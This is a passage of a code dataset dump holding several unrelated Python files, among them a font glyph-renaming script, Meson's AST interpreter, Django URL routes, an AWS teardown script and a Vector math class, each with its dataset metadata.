glyph names (whitespace):\n notGlyphnameRE = re.compile(r'(\\s+)')\n\n # Keep a list of glyphnames that were / were not changed\n changed = set()\n notChanged = set()\n\n # Process one token (might be whitespace separator, glyph name, or embedded classname starting with @):\n def dochange(gname, logErrors = True):\n if len(gname) == 0 or gname.isspace() or gname in identityMap or gname.startswith('@'):\n # No change\n return gname\n try:\n newgname = masterMap[gname]\n changed.add(gname)\n return newgname\n except KeyError:\n if logErrors: notChanged.add(gname)\n return gname\n\n doc = ET.parse(args.classfile, parser=ET.XMLParser(target=MyTreeBuilder()))\n for e in doc.iter(None):\n if e.tag in ('class', 'property'):\n if 'exts' in e.attrib:\n logger.log(\"{} '{}' has 'exts' attribute which may need editing\".format(e.tag.title(), e.get('name')), \"W\")\n # Rather than just split() the text, we'll use re and thus try to preserve whitespace\n e.text = ''.join([dochange(x) for x in notGlyphnameRE.split(e.text)])\n elif e.tag is ET.Comment:\n # Go ahead and look for glyph names in comment text but don't flag as error\n e.text = ''.join([dochange(x, False) for x in notGlyphnameRE.split(e.text)])\n # and process the tail as this might be valid part of class or property\n e.tail = ''.join([dochange(x) for x in notGlyphnameRE.split(e.tail)])\n\n\n if len(changed):\n # Something in classes changed so rewrite it... saving backup\n (dn,fn) = os.path.split(args.classfile)\n dn = os.path.join(dn, args.paramsobj.sets['main']['backupdir'])\n if not os.path.isdir(dn):\n os.makedirs(dn)\n # Work out backup name based on existing backups\n backupname = os.path.join(dn,fn)\n nums = [int(re.search(r'\\.(\\d+)~$',n).group(1)) for n in glob(backupname + \".*~\")]\n backupname += \".{}~\".format(max(nums) + 1 if nums else 1)\n logger.log(\"Backing up input classfile to {}\".format(backupname), \"P\")\n # Move the original file to backupname\n os.rename(args.classfile, backupname)\n # Write the output file\n doc.write(args.classfile)\n\n if len(notChanged):\n logger.log(\"{} glyphs renamed, {} NOT renamedin {}: {}\".format(len(changed), len(notChanged), args.classfile, ' '.join(notChanged)), \"W\")\n else:\n logger.log(\"All {} glyphs renamed in {}\".format(len(changed), args.classfile), \"P\")\n\n return font\n\ndef mergeglyphs(mergefrom, mergeto): # Merge any \"moving\" anchors (i.e., those starting with '_') into the glyph we're keeping\n # Assumption: we are merging one or more component references to just one component; deleting the others\n for a in mergefrom['anchor']:\n aname = a.element.get('name')\n if aname.startswith('_'):\n # We want to copy this anchor to the glyph being kept:\n for i, a2 in enumerate(mergeto['anchor']):\n if a2.element.get('name') == aname:\n # Overwrite existing anchor of same name\n mergeto['anchor'][i] = a\n break\n else:\n # Append anchor to glyph\n mergeto['anchor'].append(a)\n\ndef gettempname(f):\n ''' return a temporary glyph name that, when passed to function f(), returns true'''\n # Initialize function attribute for use as counter\n if not hasattr(gettempname, \"counter\"): gettempname.counter = 0\n while True:\n name = \"tempglyph%d\" % gettempname.counter\n gettempname.counter += 1\n if f(name): return name\n\n\ndef glyphsub(m): # Function pased to re.sub() when updating display strings\n global csvmap\n gname = m.group(1)\n if gname in csvmap:\n x = '/' + csvmap[gname]\n else:\n x = m.group(0)\n return '/' + csvmap[gname] if gname in csvmap else m.group(0)\n\ndef cmd() : execute(\"UFO\",doit,argspec)\nif __name__ == \"__main__\": cmd()\n","sub_path":"lib/silfont/scripts/psfrenameglyphs.py","file_name":"psfrenameglyphs.py","file_ext":"py","file_size_in_byte":18188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"567661210","text":"import tkinter as tk\nfrom tkinter import filedialog\n\nroot = tk.Tk()\nroot.withdraw()\n\nsave_path = filedialog.asksaveasfilename(initialdir = \".\", title = \"Select csv destination file\")\nprint(save_path)\n\nrow_index = 1\ncol_index = 1\nwith open(save_path, \"w\") as out_file:\n while True:\n cell_val = input(\"input value at row:{} column:{} (blank for new line, \\\"quit\\\" to quit):\".format(row_index, col_index))\n if cell_val == \"quit\":\n break\n elif cell_val == \"\":\n out_file.write(\"\\n\")\n row_index = row_index + 1\n col_index = 1\n else:\n out_file.write(\"\\\"\" + cell_val + \"\\\",\")\n col_index = col_index + 1\n\n","sub_path":"Programming Basics 6 File and IO Operations/csv_maker.py","file_name":"csv_maker.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"202622801","text":"def words(filename):\r\n \r\n l= 0\r\n f= 0\r\n m= 0\r\n with open(filename, encoding='utf-8') as infile:\r\n main = infile.read()\r\n table = str.maketrans(\".,/;'[]?><:\\\"{}\\\\|()\",\"!!!!!!!!!!!!!!!!!!\")\r\n main = main.translate(table)\r\n main = main.replace(\"--\",\" \")\r\n main = main.replace(\"!\",\"\")\r\n main = main.split()\r\n\r\n for x in main:\r\n if x == 'laboratory':\r\n l+= 1\r\n elif x == 'Frankenstein':\r\n f += 1\r\n elif x == 'monster':\r\n m += 1\r\n\r\n print(l,f,m)\r\n w = open('frankenstein1.txt', 'w')\r\n w.write(str(main))\r\n w.close()\r\n #print(data)\r\n\r\n\r\nf = 'frankenstein.txt'\r\nwords(f)\r\n","sub_path":"Week4HM/HMWK4_2.py","file_name":"HMWK4_2.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"30734100","text":"import os\nimport sys\nimport xlsxwriter\nfrom openpyxl import workbook\nfrom openpyxl import load_workbook\nfrom openpyxl.styles import Font\nfrom openpyxl.utils import get_column_letter\n\nclass WriteToSpredSheet:\n\t\n\n\tROOT_PATH_OF_OUTPUT = \"\"\n\tOUTPUT_FILE = \"\"\n\tOUTPUT_FILE_PATH = \"\"\n\tWORK_BOOK = \"\"\n\tWORK_SHEET = \"\"\n\n\tdef __init__(self, root_path: str, filename_of_output_file: str) -> bool:\n\t\tsuper(WriteToSpredSheet, self).__init__()\n\t\tself.ROOT_PATH_OF_OUTPUT = root_path\n\t\tself.OUTPUT_FILE = filename_of_output_file\n\t\tself.OUTPUT_FILE_PATH = f\"{self.ROOT_PATH_OF_OUTPUT}/{self.OUTPUT_FILE}\"\n\t\tself.WORK_BOOK = self.create_workbook()\n\t\tself.WORK_SHEET = self.create_work_sheet()\n\t\tself.add_headers_to_spreadsheet()\n\n\n\n\tdef create_workbook(self):\n\t\ttry:\n\t\t\twork_book = xlsxwriter.Workbook(self.OUTPUT_FILE_PATH)\n\t\t\treturn work_book\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn False\n\n\tdef create_work_sheet(self):\n\t\ttry:\n\t\t\twork_sheet = self.WORK_BOOK.add_worksheet()\n\t\t\tself.close_workbook()\n\t\t\treturn work_sheet\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn False\n\n\tdef load_spread_sheet(self):\n\t\tself.WORK_BOOK = load_workbook(self.OUTPUT_FILE_PATH)\n\t\tself.WORK_SHEET = self.WORK_BOOK.worksheets[0]\n\n\tdef add_headers_to_spreadsheet(self):\n\t\tself.load_spread_sheet()\n\t\tcol = 1\n\t\ttry:\n\t\t\tdata = [\n\t\t\t\t\"Домен сайта\", \n\t\t\t\t\"Всего пространства\", \n\t\t\t\t\"Свободное пространство\", \n\t\t\t\t\"Занятое пространство\", \n\t\t\t\t\"Веб файлы\", \n\t\t\t\t\"Почта\", \n\t\t\t\t\"База данных\", \n\t\t\t\t\"Конфигурационные файлы\",\n\t\t\t\t\"Папа FTP\"\n\t\t\t]\n\n\t\t\tfont = Font(\n\t\t\t\tname='Arial',\n\t\t\t\tsize=14,\n\t\t\t\tbold=True,\n\t\t\t\titalic=False,\n\t\t\t\tvertAlign=None,\n\t\t\t\tunderline='none',\n\t\t\t\tstrike=False,\n\t\t\t\tcolor='FF000000'\n\t\t\t)\n\n\t\t\tfor item in data:\n\t\t\t\tself.WORK_SHEET.cell(row=1, column=col, value=item)\n\t\t\t\tcol += 1\n\n\t\t\tself.WORK_BOOK.save(self.OUTPUT_FILE_PATH)\n\n\n\n\t\t\tfor row in self.WORK_SHEET.iter_rows(1,1):\n\t\t\t\tfor column_index, column in enumerate(row,1):\n\t\t\t\t\tcolumn.font = font\n\t\t\t\t\tself.WORK_SHEET.column_dimensions[get_column_letter(column_index)].width = 40\n\n\t\t\tself.WORK_BOOK.save(self.OUTPUT_FILE_PATH)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn False\n\n\tdef write_to_spredsheet(self, data: list, row: int, col: int) -> bool:\n\t\ttry:\n\t\t\tself.load_spread_sheet()\n\n\t\t\tfor item in data:\n\t\t\t\tself.WORK_SHEET.cell(row=row, column=col, value=item)\n\t\t\t\tcol += 1\n\t\t\tself.WORK_BOOK.save(self.OUTPUT_FILE_PATH)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn False\n\t\t\n\n\tdef close_workbook(self):\n\t\tself.WORK_BOOK.close()\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"WorkingWithFiles/write_to_spreadsheet.py","file_name":"write_to_spreadsheet.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"396274227","text":"import iemdb\nCOOP = iemdb.connect('coop', bypass=True)\nccursor = COOP.cursor()\nimport numpy\n\nincrease = numpy.zeros( (12,))\nnochange = numpy.zeros( (12,))\ndecrease = numpy.zeros( (12,))\n\nccursor.execute(\"\"\"SELECT day, high from alldata_ia where\n station = 'IA0200' ORDER by day ASC\"\"\")\n\nlast = 0\nfor row in ccursor:\n if row[1] > last:\n increase[ row[0].month -1 ] += 1.0\n elif row[1] < last:\n decrease[ row[0].month -1 ] += 1.0\n elif row[1] == last:\n nochange[ row[0].month -1 ] += 1.0\n last = row[1]\n\nimport matplotlib.pyplot as plt\n\n(fig, ax) = plt.subplots(1,1)\n\ntotal = decrease + nochange + increase\n\nax.bar( numpy.arange(1,13)-0.4, decrease / total * 100.0, fc='b', label='Decrease')\nax.bar( numpy.arange(1,13)-0.4, nochange / total * 100.0, bottom=(decrease/total * 100.0), fc='g', label=\"No Change\")\nax.bar( numpy.arange(1,13)-0.4, increase / total * 100.0, bottom=(decrease+nochange)/total * 100.0, fc='r', label=\"Increase\")\n\nfor i in range(1,13):\n ax.text(i, decrease[i-1] / total[i-1] * 100.0 - 5, \"%.0f\" % (\n\tdecrease[i-1] / total[i-1] * 100.0), ha='center')\n ax.text(i, decrease[i-1] / total[i-1] * 100.0 + 2, \"%.0f\" % (\n\tnochange[i-1] / total[i-1] * 100.0), ha='center')\n ax.text(i, (decrease[i-1] + nochange[i-1])/ total[i-1] * 100.0 + 2, \"%.0f\" % (\n\tincrease[i-1] / total[i-1] * 100.0), ha='center')\n\nax.set_xticklabels( ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec') )\nax.set_xticks( numpy.arange(1,13))\nax.legend(ncol=3)\nax.set_xlim(0.5,12.5)\nax.set_ylabel(\"Percentage of Days [%]\")\nax.set_title(\"Ames 1893-2012 Day to Day High Temperature Change\")\nfig.savefig('test.ps')\nimport iemplot\niemplot.makefeature('test')\n","sub_path":"scripts/feature/daily_change_by_month.py","file_name":"daily_change_by_month.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"561056816","text":"# Copyright 2016 The Meson development team\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This class contains the basic functionality needed to run any interpreter\n# or an interpreter-based tool.\n\nfrom . import interpreterbase, mlog, mparser, mesonlib\nfrom . import environment\n\nfrom .interpreterbase import InterpreterException, InvalidArguments\n\nimport os, sys\n\nclass DontCareObject(interpreterbase.InterpreterObject):\n pass\n\nclass MockExecutable(interpreterbase.InterpreterObject):\n pass\n\nclass MockStaticLibrary(interpreterbase.InterpreterObject):\n pass\n\nclass MockSharedLibrary(interpreterbase.InterpreterObject):\n pass\n\nclass MockCustomTarget(interpreterbase.InterpreterObject):\n pass\n\nclass MockRunTarget(interpreterbase.InterpreterObject):\n pass\n\nADD_SOURCE = 0\nREMOVE_SOURCE = 1\n\nclass AstInterpreter(interpreterbase.InterpreterBase):\n def __init__(self, source_root, subdir):\n super().__init__(source_root, subdir)\n self.asts = {}\n self.funcs.update({'project': self.func_do_nothing,\n 'test': self.func_do_nothing,\n 'benchmark': self.func_do_nothing,\n 'install_headers': self.func_do_nothing,\n 'install_man': self.func_do_nothing,\n 'install_data': self.func_do_nothing,\n 'install_subdir': self.func_do_nothing,\n 'configuration_data': self.func_do_nothing,\n 'configure_file': self.func_do_nothing,\n 'find_program': self.func_do_nothing,\n 'include_directories': self.func_do_nothing,\n 'add_global_arguments': self.func_do_nothing,\n 'add_global_link_arguments': self.func_do_nothing,\n 'add_project_arguments': self.func_do_nothing,\n 'add_project_link_arguments': self.func_do_nothing,\n 'message': self.func_do_nothing,\n 'generator': self.func_do_nothing,\n 'error': self.func_do_nothing,\n 'run_command': self.func_do_nothing,\n 'assert': self.func_do_nothing,\n 'subproject': self.func_do_nothing,\n 'dependency': self.func_do_nothing,\n 'get_option': self.func_do_nothing,\n 'join_paths': self.func_do_nothing,\n 'environment': self.func_do_nothing,\n 'import': self.func_do_nothing,\n 'vcs_tag': self.func_do_nothing,\n 'add_languages': self.func_do_nothing,\n 'declare_dependency': self.func_do_nothing,\n 'files': self.func_files,\n 'executable': self.func_executable,\n 'static_library': self.func_static_lib,\n 'shared_library': self.func_shared_lib,\n 'library': self.func_library,\n 'build_target': self.func_build_target,\n 'custom_target': self.func_custom_target,\n 'run_target': self.func_run_target,\n 'subdir': self.func_subdir,\n 'set_variable': self.func_set_variable,\n 'get_variable': self.func_get_variable,\n 'is_variable': self.func_is_variable,\n })\n\n def func_do_nothing(self, node, args, kwargs):\n return True\n\n def method_call(self, node):\n return True\n\n def func_executable(self, node, args, kwargs):\n if args[0] == self.targetname:\n if self.operation == ADD_SOURCE:\n self.add_source_to_target(node, args, kwargs)\n elif self.operation == REMOVE_SOURCE:\n self.remove_source_from_target(node, args, kwargs)\n else:\n raise NotImplementedError('Bleep bloop')\n return MockExecutable()\n\n def func_static_lib(self, node, args, kwargs):\n return MockStaticLibrary()\n\n def func_shared_lib(self, node, args, kwargs):\n return MockSharedLibrary()\n\n def func_library(self, node, args, kwargs):\n return self.func_shared_lib(node, args, kwargs)\n\n def func_custom_target(self, node, args, kwargs):\n return MockCustomTarget()\n\n def func_run_target(self, node, args, kwargs):\n return MockRunTarget()\n\n def func_subdir(self, node, args, kwargs):\n prev_subdir = self.subdir\n subdir = os.path.join(prev_subdir, args[0])\n self.subdir = subdir\n buildfilename = os.path.join(self.subdir, environment.build_filename)\n absname = os.path.join(self.source_root, buildfilename)\n if not os.path.isfile(absname):\n self.subdir = prev_subdir\n raise InterpreterException('Nonexistent build def file %s.' % buildfilename)\n with open(absname, encoding='utf8') as f:\n code = f.read()\n assert(isinstance(code, str))\n try:\n codeblock = mparser.Parser(code, self.subdir).parse()\n self.asts[subdir] = codeblock\n except mesonlib.MesonException as me:\n me.file = buildfilename\n raise me\n self.evaluate_codeblock(codeblock)\n self.subdir = prev_subdir\n\n def func_files(self, node, args, kwargs):\n if not isinstance(args, list):\n return [args]\n return args\n\n def evaluate_arithmeticstatement(self, cur):\n return 0\n\n def evaluate_plusassign(self, node):\n return 0\n\n def evaluate_indexing(self, node):\n return 0\n\n def reduce_arguments(self, args):\n assert(isinstance(args, mparser.ArgumentNode))\n if args.incorrect_order():\n raise InvalidArguments('All keyword arguments must be after positional arguments.')\n return args.arguments, args.kwargs\n\n def transform(self):\n self.load_root_meson_file()\n self.asts[''] = self.ast\n self.sanity_check_ast()\n self.parse_project()\n self.run()\n\n def add_source(self, targetname, filename):\n self.operation = ADD_SOURCE\n self.targetname = targetname\n self.filename = filename\n self.transform()\n\n def remove_source(self, targetname, filename):\n self.operation = REMOVE_SOURCE\n self.targetname = targetname\n self.filename = filename\n self.transform()\n\n def unknown_function_called(self, func_name):\n mlog.warning('Unknown function called: ' + func_name)\n\n def add_source_to_target(self, node, args, kwargs):\n namespan = node.args.arguments[0].bytespan\n buildfilename = os.path.join(self.source_root, self.subdir, environment.build_filename)\n raw_data = open(buildfilename, 'r').read()\n updated = raw_data[0:namespan[1]] + (\", '%s'\" % self.filename) + raw_data[namespan[1]:]\n open(buildfilename, 'w').write(updated)\n sys.exit(0)\n\n def remove_argument_item(self, args, i):\n assert(isinstance(args, mparser.ArgumentNode))\n namespan = args.arguments[i].bytespan\n # Usually remove the comma after this item but if it is\n # the last argument, we need to remove the one before.\n if i >= len(args.commas):\n i -= 1\n if i < 0:\n commaspan = (0, 0) # Removed every entry in the list.\n else:\n commaspan = args.commas[i].bytespan\n if commaspan[0] < namespan[0]:\n commaspan, namespan = namespan, commaspan\n buildfilename = os.path.join(self.source_root, args.subdir, environment.build_filename)\n raw_data = open(buildfilename, 'r').read()\n intermediary = raw_data[0:commaspan[0]] + raw_data[commaspan[1]:]\n updated = intermediary[0:namespan[0]] + intermediary[namespan[1]:]\n open(buildfilename, 'w').write(updated)\n sys.exit(0)\n\n def hacky_find_and_remove(self, node_to_remove):\n for a in self.asts[node_to_remove.subdir].lines:\n if a.lineno == node_to_remove.lineno:\n if isinstance(a, mparser.AssignmentNode):\n v = a.value\n if not isinstance(v, mparser.ArrayNode):\n raise NotImplementedError('Not supported yet, bro.')\n args = v.args\n for i in range(len(args.arguments)):\n if isinstance(args.arguments[i], mparser.StringNode) and self.filename == args.arguments[i].value:\n self.remove_argument_item(args, i)\n raise NotImplementedError('Sukkess')\n\n def remove_source_from_target(self, node, args, kwargs):\n for i in range(1, len(node.args)):\n # Is file name directly in function call as a string.\n if isinstance(node.args.arguments[i], mparser.StringNode) and self.filename == node.args.arguments[i].value:\n self.remove_argument_item(node.args, i)\n # Is file name in a variable that gets expanded here.\n if isinstance(node.args.arguments[i], mparser.IdNode):\n avar = self.get_variable(node.args.arguments[i].value)\n if not isinstance(avar, list):\n raise NotImplementedError('Non-arrays not supported yet, sorry.')\n for entry in avar:\n if isinstance(entry, mparser.StringNode) and entry.value == self.filename:\n self.hacky_find_and_remove(entry)\n sys.exit('Could not find source %s in target %s.' % (self.filename, args[0]))\n","sub_path":"mesonbuild/astinterpreter.py","file_name":"astinterpreter.py","file_ext":"py","file_size_in_byte":10315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"347496936","text":"from django.conf.urls import url\nfrom .views import views\n\n#from .views import affiliates as affiliates_views\nfrom .views.views import show_serial\nfrom main.views.views_youtubers import show_request_featured_video_approval, show_videos_to_feature, conform_video_to_feature\n\nfrom main.views.views import process_contact\n\napp_name = 'website'\n\nfrom django.conf import settings\n\nfrom django.views.generic.base import RedirectView\nfavicon_view = RedirectView.as_view(url='/static/favicon.ico', permanent=True)\n\n\nfacebook_redirect = RedirectView.as_view(url=settings.FACEBOOK_URL, permanent=True)\ndiscord_redirect = RedirectView.as_view(url=settings.DISCORD_URL, permanent=True)\n\nurlpatterns = [\n url(r'^favicon\\.ico$', favicon_view),\n url(r'^facebook$', facebook_redirect),\n url(r'^discord$', discord_redirect),\n url(r'^$', views.index),\n #url(r'^changepassword/', account_views.change_password),\n #url(r'^myaccount', account_views.my_account),\n #url(r'^portland', views.portland),\n url(r'^inventory/(?P[0-9a-zA-Z]+)$', views.show_inventory),\n\n url(r'^who', views.show_who),\n url(r'^rules', views.show_rules),\n url(r'^about', views.show_about),\n url(r'^faq', views.show_nojs),\n url(r'^contact', views.show_nojs),\n\n\n url(r'^partials/inventory/(?P[0-9a-zA-Z]+)$', views.partial_show_inventory),\n url(r'^partials/who', views.partial_show_who),\n url(r'^partials/blog_post', views.partial_show_blog_post),\n url(r'^partials/forum_stats', views.partial_show_forum_stats),\n url(r'^partials/discord_stats', views.partial_show_discord_stats),\n url(r'^api/discord', views.get_discord_json),\n\n\n url(r'^serial', show_serial),\n url(r'^contact', process_contact),\n url(r'^request/featured/video', show_request_featured_video_approval),\n url(r'^admin/featured/video/accept/(?P[0-9]+)', conform_video_to_feature),\n url(r'^admin/featured/video', show_videos_to_feature),\n]\n","sub_path":"mdive/mc3/apps/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"148411222","text":"#!/usr/bin/python3\n\"\"\"\nBasic Vector class in Python.\n\"\"\"\nimport math\n\n\nclass Vector(object):\n def __init__(self, *args):\n \"\"\" Create an n-dimensional vector of ints or floats,\n example: v = Vector(1,2) \"\"\"\n for arg in args:\n if not (isinstance(arg, float) or isinstance(arg, int)):\n raise TypeError('Vector can only be instantiated with type int or type float.')\n if len(args) == 0:\n self.values = (0, 0)\n else:\n self.values = args\n\n @classmethod\n def fromPointsR2(cls, x1, y1, x2, y2):\n \"\"\"instantiate Vector from two points in R2\"\"\"\n return cls(x2 - x1, y2 - y1)\n\n @classmethod\n def fromPointsR3(cls, x1, y1, z1, x2, y2, z2):\n \"\"\"Instantiate Vector from two points in R3\"\"\"\n return cls(x2 - x1, y2 - y1, z2 - z1)\n\n @property\n def x(self):\n if len(self) >= 1:\n return self.values[0]\n else:\n raise IndexError('Vector does not have a \\'x\\' component.')\n\n @property\n def y(self):\n if len(self) >= 2:\n return self.values[1]\n else:\n raise IndexError('Vector does not have a \\'y\\' component.')\n\n @property\n def z(self):\n if len(self) >= 3:\n return self.values[2]\n else:\n raise IndexError('Vector does not have a \\'z\\' component.')\n\n def __add__(self, other):\n \"\"\"Add two vectors.\"\"\"\n resultant_vector = tuple(a + b for a, b in zip(self, other))\n return Vector(*resultant_vector)\n\n def __sub__(self, other):\n \"\"\"Vector difference of two vectors.\"\"\"\n resultant_vector = tuple(a - b for a, b in zip(self, other))\n return Vector(*resultant_vector)\n\n def __mul__(self, other):\n \"\"\"If multiplied by another vector, return the dot product.\n If multiplied by a scalar, return a scalar multiple of the vector\n \"\"\"\n if isinstance(other, Vector):\n return self.Dot(other)\n elif isinstance(other, int) or isinstance(other, float):\n resultant_vector = tuple(component * other for component in self)\n return Vector(*resultant_vector)\n else:\n raise TypeError('unsupported operand type(s) for *: \\'Vector\\' and \\'' + str(type(other)) + '\\'')\n\n def __rmul__(self, other):\n return self.__mul__(other)\n\n def __truediv__(self, other):\n if isinstance(other, int) or isinstance(other, float):\n resultant_vector = tuple(component / other for component in self)\n return Vector(*resultant_vector)\n else:\n raise TypeError('unsupported operand type(s) for /: \\'Vector\\' and \\'' + str(type(other)) + '\\'')\n\n def __len__(self):\n \"\"\"Returns number of components, not magnitude.\"\"\"\n return len(self.values)\n\n def __getitem__(self, index):\n return self.values[index]\n\n def __repr__(self):\n vector_components = \"\"\n for val in self.values[:-1]:\n vector_components += (str(val) + ', ')\n vector_components += str(self.values[-1])\n return \"<\" + vector_components + \">\"\n\n def __iter__(self):\n return self.values.__iter__()\n\n def __contains__(self, item):\n return item in self.values\n\n def __bool__(self):\n return not self.isZero()\n\n def Magnitude(self):\n \"\"\"Find the length or magnitude of a vector.\"\"\"\n return math.sqrt(sum(component ** 2 for component in self))\n\n def Cross(self, other):\n \"\"\"returns the cross product of two three-dimensional vectors\"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only take the cross product of two Vectors')\n elif len(self) > 3 or len(other) > 3:\n raise TypeError('Vector must be three-dimensional')\n # must initialize from beginning to end, can't have just a y component\n elif len(self) == 3 and len(other) == 2:\n a = self\n b = Vector(other[0], other[1], 0)\n elif len(self) == 3 and len(other) == 1:\n a = self\n b = Vector(other[0], 0, 0)\n elif len(other) == 3 and len(self) == 2:\n a = Vector(self[0], self[1], 0)\n b = other\n elif len(other) == 3 and len(self) == 1:\n a = Vector(self[0], 0, 0)\n b = other\n elif len(self) == 3 and len(other) == 3:\n a = self\n b = other\n else:\n raise TypeError('Invalid Vector dimensions')\n return Vector(a[1] * b[2] - a[2] * b[1], a[2] * b[0] - a[0] * b[2], a[0] * b[1] - a[1] * b[0])\n\n def Dot(self, other):\n \"\"\"Take the dot product between two vectors.\"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only take the dot product of two Vectors')\n else:\n return sum(a * b for a, b in zip(self, other))\n\n def angleBetween(self, other):\n \"\"\"Angle between two vectors in degrees rounded to four decimal places\"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only find the angle between two Vectors')\n else:\n return round(math.degrees(math.acos(round(self.Dot(other) / (self.Magnitude() * other.Magnitude()), 4))), 4)\n\n def isParallel(self, other):\n \"\"\"Two vectors are collinear if they can be represented as scalar\n multiples of each other, if their cross product is the zero vector,\n or lastly if the angle between them is zero.\n \"\"\"\n # TODO: implement scalar multiple method, less prone to rounding errors.\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only test the collinearity of two Vectors')\n elif self.isZero() or other.isZero():\n return False\n elif len(self) == 3 and len(other) == 3:\n if self.Cross(other).isZero():\n return True\n else:\n return False\n elif self.angleBetween(other) == 0 or self.angleBetween(other) == 180:\n # angleBetween() is accurate to 4 decimal places.\n return True\n else:\n return False\n\n def isOrthogonal(self, other):\n \"\"\"Two vectors are orthogonal iff their dot product is 0\"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only test the orthogonality of two Vectors')\n elif self.Dot(other) == 0:\n return True\n else:\n return False\n\n def isZero(self):\n \"\"\"Checks if self is a zero vector\"\"\"\n if not isinstance(self, Vector):\n raise TypeError('Can only test a Vector')\n else:\n for val in self.values:\n if val != 0:\n return False\n return True\n\n def unitVector(self):\n \"\"\"returns normalized unit vector\"\"\"\n return self / self.Magnitude()\n\n def directionCosines(self):\n \"\"\"Returns a Vector of a Vector's direction cosines\"\"\"\n if not isinstance(self, Vector):\n raise TypeError('Can get the direction cosines of a Vector')\n elif len(self) == 2:\n return Vector(self[0] / self.Magnitude(), self[1] / self.Magnitude())\n elif len(self) == 3:\n return Vector(self[0] / self.Magnitude(), self[1] / self.Magnitude(), self[2] / self.Magnitude())\n else:\n raise ValueError('direction cosines are undefined for Vectors not in R2 or R3')\n\n def directionAngles(self):\n \"\"\"Returns a Vector of a Vector's direction angles\"\"\"\n if not isinstance(self, Vector):\n raise TypeError('Can get the direction angles of a Vector')\n elif len(self) == 2:\n return Vector(math.acos(self.directionCosines()[0]), math.acos(self.directionCosines()[1]))\n elif len(self) == 3:\n return Vector(math.acos(self.directionCosines()[0]), math.acos(self.directionCosines()[1]),\n math.acos(self.directionCosines()[2]))\n else:\n raise ValueError('direction angles are undefined for Vectors not in R2 or R3')\n\n def scalarProjectionOnto(self, other):\n \"\"\"The scalar projection of b onto a is:\n (a.Dot(b)) / a.Magnitude()\n \"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only find the scalar projection of two Vectors')\n else:\n return other.Dot(self) / other.Magnitude()\n\n def vectorProjectOnto(self, other):\n \"\"\"The vector projection of b onto a is:\n b.scalarProjectionOnto(a) * a.unitVector()\n \"\"\"\n if not isinstance(self, Vector) or not isinstance(other, Vector):\n raise TypeError('Can only find the vector projection of two Vectors')\n else:\n return self.scalarProjectionOnto(other) * other.unitVector()\n","sub_path":"Vector.py","file_name":"Vector.py","file_ext":"py","file_size_in_byte":9028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"550127752","text":"#!/usr/bin/env python3\nimport json\nimport os\nimport random\nimport subprocess\nimport sys\nimport tempfile\nimport zipfile\n\nAWS_PROFILE = \"cs291\"\nAWS_REGION = \"us-west-2\"\n\naws_username = None\n\n\ndef aws_command(command_args, parse_output=True):\n args = [\"aws\"] + command_args + [\"--profile\", AWS_PROFILE, \"--region\", AWS_REGION]\n print(f\"Executing: {' '.join(args)}\")\n output = subprocess.check_output(args, stderr=subprocess.DEVNULL, text=True)\n if not parse_output:\n return\n result = json.loads(output)\n return result\n\n\ndef destroy_lambda():\n try:\n aws_command(\n [\"lambda\", \"delete-function\", \"--function-name\", aws_username],\n parse_output=False,\n )\n except subprocess.CalledProcessError:\n pass\n\n\ndef destroy_rest_api():\n api_id = None\n result = aws_command([\"apigateway\", \"get-rest-apis\"])\n for item in result[\"items\"]:\n if item[\"name\"] == aws_username:\n api_id = item[\"id\"]\n break\n else:\n return\n\n aws_command(\n [\"apigateway\", \"delete-rest-api\", \"--rest-api-id\", api_id], parse_output=False\n )\n\n\ndef main():\n global aws_username\n\n if len(sys.argv) != 2:\n print(f\"Usage: {sys.argv[0]} AWS_USERNAME\")\n return 1\n\n aws_username = sys.argv[1]\n\n destroy_rest_api()\n destroy_lambda()\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"lambda/teardown.py","file_name":"teardown.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"91946679","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse\nfrom django.utils.http import urlencode\n\nfrom webapp.forms import ArticleForm, CommentForm, ArticleCommentForm, SearchForm, CHOICE_DEFAULT, \\\n 